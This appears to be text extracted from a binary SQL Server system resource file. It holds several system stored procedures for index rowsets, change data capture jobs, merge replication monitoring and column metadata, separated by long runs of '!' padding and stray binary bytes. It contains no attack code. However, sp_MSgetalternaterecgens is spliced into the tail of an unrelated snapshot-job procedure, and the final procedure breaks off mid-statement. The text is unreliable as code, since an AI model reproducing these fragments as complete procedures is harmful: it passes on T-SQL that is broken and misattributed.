!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!A

`
<
9	w3p:R0. 8
--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_indexes_rowset;5
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name         sysname = null,
    @index_name         sysname = null,
    @table_schema       sysname = null
)
as
    select
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        INDEX_CATALOG,
        INDEX_SCHEMA,
        INDEX_NAME,
        PRIMARY_KEY,
        [UNIQUE],
        [CLUSTERED],
        [TYPE],
        FILL_FACTOR,
        INITIAL_SIZE,
        NULLS,
        SORT_BOOKMARKS,
        AUTO_UPDATE,
        NULL_COLLATION,
        ORDINAL_POSITION,
        COLUMN_NAME,
        COLUMN_GUID,
        COLUMN_PROPID,
        [COLLATION],
        CARDINALITY,
        PAGES,
        FILTER_CONDITION,
        INTEGRATED = null   -- ISSUE these 3 columns must be exported by the server
                            -- in \yukon\sql\ntdbms\msql\ddl\sysoledb.cpp :
                            -- const SCHEMA_COLUMNS xCol_INDEXES = {
    from sys.fn_remote_indexes (
                @table_server,
                @table_catalog,
                @table_schema,
                @index_name,
                null,           -- TYPE (index type)
                @table_name )
    order by 8 desc, 4, 5, 6, 17
0U D8Uh#	1$	0 l8
create procedure [sys].[sp_MScdc_capture_job]
as
begin
	set nocount on
	declare @retcode int
           ,@pollinginterval bigint
           ,@continuous bit
           ,@maxtrans int
           ,@maxscans int
           ,@db_name sysname

	set @db_name = db_name()

    --
    -- security check - should be dbo or sysadmin
    --
    exec @retcode = sp_MSreplcheck_publish
    if @@ERROR != 0 or @retcode != 0
	begin
		raiserror(22864, 16, -1, @db_name)
		return 1
	end	

    --
    -- security check
    -- Has to be executed from cdc enabled db
    --
	if not exists (select * from sys.databases where database_id = db_id() and is_cdc_enabled = 1)
	begin
		RAISERROR(22901, 16, -1, @db_name)
		return (1)
	end

	--
	-- Insure that transactional replication is not also trying to scan the log
	--
	exec @retcode = [sys].[sp_MScdc_tranrepl_check] 
	if @retcode <> 0 or @@error <> 0
	begin
		raiserror(22864, 16, -1, @db_name)
		return 1
	end	
	
	-- Get job parameters for msdb.cdc_jobs
	exec @retcode = sys.sp_cdc_get_job_parameters
		@pollinginterval output
		,@continuous  output
		,@maxscans output
		,@maxtrans output

	if (@@error <> 0) or (@retcode <> 0)
	begin
		raiserror(22864, 16, -1, @db_name)
		return 1
	end
	
	if @continuous is null 
		set @continuous = 1
			
	if @maxtrans is null
		set @maxtrans = 500
		
	if @maxscans is null
		set @maxscans = 10
			
    if @pollinginterval is null
		if @continuous = 1
			set @pollinginterval = 5
		else
			set @pollinginterval = 0

    exec @retcode = sp_cdc_scan
		 @pollinginterval = @pollinginterval
		,@continuous = @continuous
		,@maxtrans = @maxtrans
        ,@maxscans = @maxscans
        ,@is_from_job = 1
	
	if @retcode <> 0 or @@error <> 0
	begin
		raiserror(22864, 16, -1, @db_name)
		return 1
	end
		
	return 0
END
0@ I8-- retrieve recgen information about all alternate publications known at this replica
create procedure sys.sp_MSgetalternaterecgens
        @repid uniqueidentifier
as

        declare @retcode                        int
        declare @publisher              sysname
        declare @publisher_db   sysname
        declare @publication    sysname
        
        /*
        ** do permission checking
        */
        exec @retcode = sys.sp_MSrepl_PAL_rolecheck @repid = @repid
        if @retcode<>0 or @@ERROR<>0 
            return (1)

        select @publisher= publisher, @publisher_db= publisher_db, @publication= name
                from dbo.sysmergepublications
                where pubid = @repid

    select distinct p.pubid as altpubid, s.recguid as recguid, s.recgen as recgen
    from dbo.sysmergesubscriptions s, dbo.sysmergepublications p, dbo.MSmerge_altsyncpartners alt
    where (p.pubid = alt.subid or p.pubid = alt.alternate_subid) and
          p.pubid <> @repid and
          upper(s.subscriber_server collate SQL_Latin1_General_CP1_CS_AS) = upper(p.publisher collate SQL_Latin1_General_CP1_CS_AS) and
          s.db_name = p.publisher_db and
                  s.pubid = @repid
         and s.recguid is not null and s.recgen is not null
        return @retcode 
			from msdb..MSdistpublishers
				where name = @publisher
					and distribution_db = db_name()

			if @pubsecmode is not NULL 
				AND @pubsecmode != 0
				AND @job_login is not NULL
			begin
				-- "@job_login can only be specified/changed for heterogeneous publications when the publisher security_mode (for sp_adddistpublisher) is set to 0."
				RAISERROR(21842, 16, -1, '@job_login', 'the publisher security_mode (for sp_adddistpublisher)', '0')
				goto FAILED
			end
		end

		DECLARE #cursorSnapAgents CURSOR LOCAL FAST_FORWARD FOR		
    		SELECT mssa.name,
    				CAST(mssa.job_id as uniqueidentifier),
    				mssa.job_step_uid
    			FROM msdb.dbo.sysjobs_view sjv
    				JOIN MSsnapshot_agents mssa
    					ON sjv.job_id = CAST(mssa.job_id as uniqueidentifier)
    				JOIN msdb.dbo.sysjobsteps sjs
    					ON sjv.job_id = sjs.job_id
    						AND mssa.job_step_uid = sjs.step_uid
    			WHERE mssa.publisher_id = @publisher_id
    				AND mssa.publisher_db = @publisher_db
    				AND mssa.publication = @publication
        FOR READ ONLY

        OPEN #cursorSnapAgents

        FETCH #cursorSnapAgents INTO @snapshot_job_name, @job_id, @job_step_uid

        WHILE @@FETCH_STATUS <> -1
        BEGIN
            IF @job_id IS NOT NULL
                AND @job_step_uid IS NULL
            BEGIN
        		SELECT @job_step_uid 	= sjs.step_uid 
        		FROM msdb.dbo.sysjobs_view as sjv 
        			JOIN msdb.dbo.sysjobsteps as sjs 
        				ON sjv.job_id = sjs.job_id 
        		WHERE sjv.job_id = @job_id
        			AND sjv.master_server = 0
        			AND UPPER(sjv.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
        			AND sjv.category_id = 15
        			AND sjs.subsystem = N'Snapshot' 
        			AND sjs.database_name = db_name()
    		END
    		
    		exec @retcode = sys.sp_MSchange_repl_job @id 							= @job_id,
    												@step_uid						= @job_step_uid,
    												@name							= @snapshot_job_name,
    												@frequency_type 				= @frequency_type,
    												@frequency_interval 			= @frequency_interval,
    												@frequency_subday				= @frequency_subday,
    												@frequency_subday_interval		= @frequency_subday_interval,
    												@frequency_relative_interval	= @frequency_relative_interval,
    												@frequency_recurrence_factor	= @frequency_recurrence_factor,
    												@active_start_date				= @active_start_date,
    												@active_end_date				= @active_end_date,
    												@active_start_time_of_day		= @active_start_time_of_day,
    												@active_end_time_of_day 		= @active_end_time_of_day,
    												@login							= @job_login,
    												@password						= @job_password,
    												@proxy_id                       = @proxy_id OUTPUT
    		if @@error <> 0 or @retcode <> 0
    			goto FAILED

    		FETCH #cursorSnapAgents INTO @snapshot_job_name, @job_id, @job_step_uid
    	END 

    	CLOSE #cursorSnapAgents
    	DEALLOCATE #cursorSnapAgents
	end

	commit transaction tran_sp_MSchange_snapshot

	return 0
FAILED:
	rollback transaction tran_sp_MSchange_snapshot
	commit transaction

	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!tC
`<I:	G60t0:u 8create procedure sys.sp_MSenum_merge
(
    @name nvarchar(100) = '%',
    @show_distdb bit = 0,
    @exclude_anonymous bit = 0
)
as
begin
    set nocount on

    declare @publisher sysname
    declare @publisher_id smallint
    declare @publisher_db sysname
    declare @subscriber sysname
    declare @subscriber_id smallint
    declare @subscriber_db sysname
    declare @subscriber_name sysname
    declare @subscription_type int
    declare @publication sysname
    declare @status int
    declare @start_time nvarchar(24)
    declare @time nvarchar(24)
    declare @duration int
    declare @comments nvarchar(255)
    declare @download_inserts int
    declare @download_updates int
    declare @download_deletes int
    declare @download_conflicts int
    declare @upload_inserts int
    declare @upload_updates int
    declare @upload_deletes int
    declare @upload_conflicts int
    declare @delivery_rate int
    declare @agent_name nvarchar(100)
    declare @error_id int
    declare @job_id binary(16)
    declare @local_job bit
    declare @profile_id int
    declare @agent_id int
    declare @last_timestamp binary(8)
    declare @offload_enabled bit
    declare @offload_server  sysname
		,@subscriber_type tinyint

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    create table #merge_agent (name nvarchar(100) NOT NULL, status int NOT NULL,
        publisher sysname NOT NULL, publisher_db sysname NOT NULL, publication sysname NULL,
        subscriber sysname NOT NULL, subscriber_db sysname NOT NULL, subscription_type int NULL,
        start_time nvarchar(24) NULL, time nvarchar(24) NULL, duration int NULL, 
        comments nvarchar(255) NULL, delivery_rate int NULL,
        download_inserts int NULL, download_updates int NULL, download_deletes int NULL,
        publisher_conficts int NULL, 
        upload_inserts int NULL, upload_updates int NULL, upload_deletes int NULL,
        subscriber_conficts int NULL, error_id int NULL, job_id binary(16) NULL,
        local_job bit NULL, profile_id int NOT NULL, agent_id int NOT NULL, last_timestamp binary(8) NOT NULL,
        offload_enabled bit NOT NULL, offload_server sysname NULL,
		subscriber_type tinyint NULL)

    declare hC CURSOR LOCAL FAST_FORWARD FOR
        select p.publisher_id, a.subscriber_id, a.publisher_db, a.subscriber_db, 
            p.publication, a.name, a.local_job, a.job_id, a.profile_id, a.id, a.subscriber_name, 
            offload_enabled, offload_server
            from dbo.MSmerge_agents a, dbo.MSpublications p  
            where 
            a.name LIKE @name and
            a.publisher_id = p.publisher_id and
            a.publisher_db = p.publisher_db and
            a.publication = p.publication and
			(@exclude_anonymous = 0 or a.anonymous_subid is null)

        for read only


    OPEN hC
    FETCH hC INTO @publisher_id, @subscriber_id, @publisher_db, @subscriber_db,
        @publication, @agent_name, @local_job, @job_id, @profile_id, @agent_id, @subscriber_name, 
        @offload_enabled, @offload_server

    WHILE (@@fetch_status <> -1)
    begin

        /* Initialize the values for no history case */
        select @status = 0,
            @start_time = NULL,
            @time = NULL, 
            @duration = NULL, 
            @comments = NULL,
            @download_inserts = 0,
            @download_deletes = 0,
            @download_updates = 0,
            @download_conflicts = 0,
            @upload_inserts = 0,
            @upload_deletes = 0,
            @upload_updates = 0,
            @upload_conflicts = 0,
            @delivery_rate = 0,
            @error_id = NULL, 
            @last_timestamp = 0x00000000

        select @status = isnull(ms.runstatus,0),
            @start_time = sys.fn_replformatdatetime(ms.start_time),
            @time = sys.fn_replformatdatetime(ms.end_time), 
            @duration = ms.duration, 
            @comments = mh.comments,
            @download_inserts = ms.download_inserts,
            @download_deletes = ms.download_deletes,
            @download_updates =  ms.download_updates,
            @download_conflicts =  ms.download_conflicts,
            @upload_inserts = ms.upload_inserts,
            @upload_deletes = ms.upload_deletes,
            @upload_updates =  ms.upload_updates,
            @upload_conflicts =  ms.upload_conflicts,
            -- Note: return average rate here !!! delivery_rate column is current rate
            @delivery_rate = ms.delivery_rate, 
            @error_id = mh.error_id, 
            @last_timestamp = ms.timestamp
            from dbo.MSmerge_history mh with (READPAST), dbo.MSmerge_sessions ms with (READPAST)
            where
                mh.agent_id = @agent_id and
                mh.timestamp = (select max(timestamp) from dbo.MSmerge_history mh2 with (READPAST) 
                    where mh2.agent_id = @agent_id)
                and
                ms.agent_id= @agent_id and
                ms.session_id = (select top 1 session_id from dbo.MSmerge_sessions ms2 with (READPAST) 
									where ms2.agent_id = @agent_id
									order by session_id desc)

        select @publisher = srvname from master.dbo.sysservers where srvid = @publisher_id

        -- For non anonymous agents, @subscriber_name is null 
        if @subscriber_name is NULL
            begin
                select @subscriber = srvname from master.dbo.sysservers where srvid = @subscriber_id
                if @local_job = 1 select @subscription_type = 0
                    else select @subscription_type = 1
				select @subscriber_type = type from MSsubscriber_info where
					UPPER(publisher) = UPPER(@publisher) and
					UPPER(subscriber) = UPPER(@subscriber)
            end
        else 
            begin
                select @subscriber = @subscriber_name
                select @subscriber_db = @subscriber_db + '-' +  convert(nvarchar(30), @agent_id)
                select @subscription_type = 2   -- anonymous type
            end
        
        insert into #merge_agent values (@agent_name, @status, @publisher,
            @publisher_db, @publication, @subscriber, @subscriber_db, @subscription_type,
            @start_time, @time, @duration, @comments, @delivery_rate,
            @download_inserts, @download_updates, @download_deletes, 
            @download_conflicts,
            @upload_inserts, @upload_updates, @upload_deletes, 
            @upload_conflicts,
            @error_id, @job_id, @local_job, @profile_id, @agent_id, @last_timestamp,
            @offload_enabled, @offload_server, @subscriber_type)

        FETCH hC INTO @publisher_id, @subscriber_id, @publisher_db, @subscriber_db,
            @publication, @agent_name, @local_job, @job_id, @profile_id,
            @agent_id, @subscriber_name, @offload_enabled, @offload_server
        end

    if @show_distdb = 0
        select * from #merge_agent 
    else 
        select 'dbname' = DB_NAME(), * from #merge_agent

    drop table #merge_agent
    close hC
    deallocate hC
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	?<);	\%ۘ0e u8
create procedure sys.sp_columns_managed 
( 
	@Catalog			sysname = NULL,
	@Owner			sysname = NULL,
	@Table 			sysname = NULL,
	@Column			sysname = NULL,
	@SchemaType	sysname = 0 )		-- 0 = 'select *' behavior (default), 1 = all columns, 2 = columnset columns
as 
	select 
		TABLE_CATALOG			= s_cv.TABLE_CATALOG,
		TABLE_SCHEMA			= s_cv.TABLE_SCHEMA,
		TABLE_NAME				= s_cv.TABLE_NAME,
		COLUMN_NAME 			= s_cv.COLUMN_NAME,
		ORDINAL_POSITION		= s_cv.ORDINAL_POSITION, 
		COLUMN_DEFAULT			= s_cv.COLUMN_DEFAULT,
		IS_NULLABLE 			= s_cv.IS_NULLABLE,
		DATA_TYPE				= s_cv.DATA_TYPE,
		CHARACTER_MAXIMUM_LENGTH= s_cv.CHARACTER_MAXIMUM_LENGTH,
		CHARACTER_OCTET_LENGTH	= s_cv.CHARACTER_OCTET_LENGTH,
		NUMERIC_PRECISION		= s_cv.NUMERIC_PRECISION,
		NUMERIC_PRECISION_RADIX	= s_cv.NUMERIC_PRECISION_RADIX,
		NUMERIC_SCALE			= s_cv.NUMERIC_SCALE,
		DATETIME_PRECISION		= s_cv.DATETIME_PRECISION, 
		CHARACTER_SET_CATALOG	= s_cv.CHARACTER_SET_CATALOG,
		CHARACTER_SET_SCHEMA	= s_cv.CHARACTER_SET_SCHEMA,
		CHARACTER_SET_NAME		= s_cv.CHARACTER_SET_NAME,
		COLLATION_CATALOG		= s_cv.COLLATION_CATALOG,
		IS_SPARSE				= s_cv.IS_SPARSE,
		IS_COLUMN_SET			= s_cv.IS_COLUMN_SET,
		IS_FILESTREAM			= s_cv.IS_FILESTREAM
	from 
		sys.spt_columns_view_managed s_cv
	where
		(@Catalog is null or s_cv.TABLE_CATALOG like @Catalog) and
		(@Owner is null or s_cv.TABLE_SCHEMA like @Owner) and
		(@Table is null or s_cv.TABLE_NAME like @Table) and
		(@Column is null or s_cv.COLUMN_NAME like @Column) and
		( 
			@SchemaType = 0 AND 
			(
				( s_cv.IS_SPARSE = 0 OR objectproperty ( s_cv.OBJECT_ID, 'tablehascolumnset' ) = 0 ) 
			) 
			OR @SchemaType = 1
			OR @SchemaType = 2 AND
			(
				( s_cv.IS_SPARSE = 1 AND objectproperty ( s_cv.OBJECT_ID, 'tablehascolumnset' ) = 1 )
			)
		)
	order by TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME, IS_NULLABLE 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`2
;	<<	/剈0d 8create procedure sys.sp_replmonitorhelpmergesession
(
	@agent_name nvarchar(100)= NULL,
	@hours int = 0, /* @hours < 0 will return TOP 100, otherwise look back at only @hours */
	@session_type int = 1, /* 1 for succeed/retry sessions, otherwise failure sessions */	
	@publisher sysname = NULL, -- used to read subscriber-side monitoring tables.
	@publisher_db sysname = NULL, -- used to read subscriber-side monitoring tables.
	@publication sysname = NULL -- used to read subscriber-side monitoring tables.
)
as
begin
	set nocount on
	
    declare @min_time datetime
	declare @retcode int
    declare @succeed int    
    declare @running int    
    declare @retry int
    declare @failure int
    declare @isdistdb bit
    declare @agent_id int
	declare @max_session_id int
	declare @max_running_session_id int
		
    select @succeed = 2
    select @retry = 5
    select @failure = 6
    select @running = 3
        
    --
    -- security check : replmonitor
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    select @isdistdb = sys.fn_MSrepl_isdistdb(DB_NAME())
    
    if @isdistdb = 1 and @agent_name is null
    begin
		raiserror(14043, 16, -1, '@agent_name', 'sp_replmonitorhelpmergesession')
		return 1
	end
	else if @isdistdb = 0 and (@publisher is null or @publisher_db is null or @publication is null)
    begin
		-- subscriber-side monitoring
		if @publisher is null
			raiserror(14043, 16, -1, '@publisher', 'sp_replmonitorhelpmergesession')
		if @publisher_db is null
			raiserror(14043, 16, -1, '@publisher_db', 'sp_replmonitorhelpmergesession')
		if @publication is null
			raiserror(14043, 16, -1, '@publication', 'sp_replmonitorhelpmergesession')
		return 1
	end

	if @isdistdb = 1
	begin
	
		select @agent_id = id from dbo.MSmerge_agents where name = @agent_name
		
		select top 1 @max_session_id = session_id from dbo.MSmerge_sessions with (NOLOCK) 
		where agent_id = @agent_id
		order by session_id desc

		select @max_running_session_id = @max_session_id

		select top 1 @max_running_session_id = session_id from dbo.MSmerge_sessions with (NOLOCK) 
		where agent_id = @agent_id and runstatus = @running
		order by session_id desc
	
		IF @hours < 0
		BEGIN
    		select top 100
			sessions.session_id as Session_id,
			case when sessions.runstatus = 3 and sessions.session_id <> @max_running_session_id  and sys.fn_replmerge_get_errormsgcounts(sessions.session_id) <> 0 then @failure
			       when sessions.runstatus = 3 and sessions.session_id <> @max_running_session_id  and sys.fn_replmerge_get_errormsgcounts(sessions.session_id) = 0 then @succeed
				when sessions.runstatus is null then 0 else sessions.runstatus end as Status,
			sessions.start_time as StartTime,
			sessions.end_time as EndTime,
			sessions.duration as Duration,
			sys.fn_replmerge_get_cmdcounts(sessions.session_id, 1) as UploadedCommands,
			sys.fn_replmerge_get_cmdcounts(sessions.session_id, 2) as DownloadedCommands,
			sys.fn_replmerge_get_errormsgcounts(sessions.session_id) as ErrorMessages,
			(
				select top 1 re.id from dbo.MSrepl_errors re
				where re.session_id = sessions.session_id
				order by re.id desc
			) as ErrorID,
			sessions.percent_complete as PercentageDone,
			sessions.time_remaining as TimeRemaining,
			sessions.current_phase_id as CurrentPhase,
			(
				select top 1 rh.comments from dbo.MSmerge_history rh 
				where rh.session_id = sessions.session_id
				order by rh.session_id desc, rh.timestamp desc
			) as LastMessage,
			--IsSpidActive = case when exists (select * from sys.dm_exec_sessions sp where sp.login_time = sessions.spid_login_time
			--									and sp.session_id = sessions.spid) then 1 else 0 end
			IsSpidActive = 1
			from dbo.MSmerge_sessions sessions
			where sessions.agent_id = @agent_id
			and sessions.session_id <= @max_session_id
			and             
			(
				(
					@session_type = 1 and
          			(
          				sessions.runstatus = @succeed 
          				or sessions.runstatus = @retry 
          				or sessions.runstatus = @running
						or sessions.session_id = @max_session_id
					)
				) 
				or sessions.runstatus = @failure
			)
			order by sessions.start_time desc   	
		END
		ELSE
		BEGIN
			IF @hours = 0
			BEGIN
				select @min_time = NULL
			END
			ELSE
			BEGIN
				select @min_time = dateadd(hour, -@hours, getdate())
			END
			-- phase is ReconcilerMsg.lPhase: UPLOAD_PHASE as 2 and DOWNLOAD_PHASE as 3
			-- dbo.MSmerge_articlehistory.phase_id
			select 
			sessions.session_id as Session_id,
			case when sessions.runstatus = 3 and sessions.session_id <> @max_running_session_id  and sys.fn_replmerge_get_errormsgcounts(sessions.session_id) <> 0 then @failure
			       when sessions.runstatus = 3 and sessions.session_id <> @max_running_session_id  and sys.fn_replmerge_get_errormsgcounts(sessions.session_id) = 0 then @succeed
				when sessions.runstatus is null then 0 else sessions.runstatus end as Status,
			sessions.start_time as StartTime,
			sessions.end_time as EndTime,
			sessions.duration as Duration,
			sys.fn_replmerge_get_cmdcounts(sessions.session_id, 1) as UploadedCommands,
			sys.fn_replmerge_get_cmdcounts(sessions.session_id, 2) as DownloadedCommands,
			sys.fn_replmerge_get_errormsgcounts(sessions.session_id) as ErrorMessages,
			(
				select top 1 re.id from dbo.MSrepl_errors re
				where re.session_id = sessions.session_id
				order by re.id desc
			) as ErrorID,
			sessions.percent_complete as PercentageDone,
			sessions.time_remaining as TimeRemaining,
			sessions.current_phase_id as CurrentPhase,
			(
				select top 1 rh.comments from dbo.MSmerge_history rh 
				where rh.session_id = sessions.session_id
				order by rh.session_id desc, rh.timestamp desc
			) as LastMessage,
			--IsSpidActive = case when exists (select * from sys.dm_exec_sessions sp where sp.login_time = sessions.spid_login_time
			--									and sp.session_id = sessions.spid) then 1 else 0 end
			IsSpidActive = 1
			from dbo.MSmerge_sessions sessions
			where sessions.agent_id = @agent_id
			and sessions.session_id <= @max_session_id
			and             
			(
				(
					@session_type = 1 and
          			(
          				sessions.runstatus = @succeed 
          				or sessions.runstatus = @retry 
          				or sessions.runstatus = @running
						or sessions.session_id = @max_session_id
					)
				) 
				or sessions.runstatus = @failure
			)
			and (sessions.end_time >= @min_time or @min_time IS NULL)
			order by sessions.start_time desc
		END
	end
	else
	begin
		exec @retcode = sys.sp_MShelp_subscriberside_history 
							@hours=@hours, @session_type=@session_type, @publisher = @publisher, @publisher_db = @publisher_db, @publication = @publication
		if @@error <> 0 or @retcode <> 0
			return 1
    end
    
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`>	<
	=	+b0rO K8
create procedure sys.sp_table_privileges_rowset2
(
    @table_schema       sysname = null,
    @grantor            sysname = null,
    @grantee            sysname = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        GRANTOR         = s_tpv.GRANTOR,
        GRANTEE         = s_tpv.GRANTEE,
        TABLE_CATALOG   = s_tpv.TABLE_CATALOG,
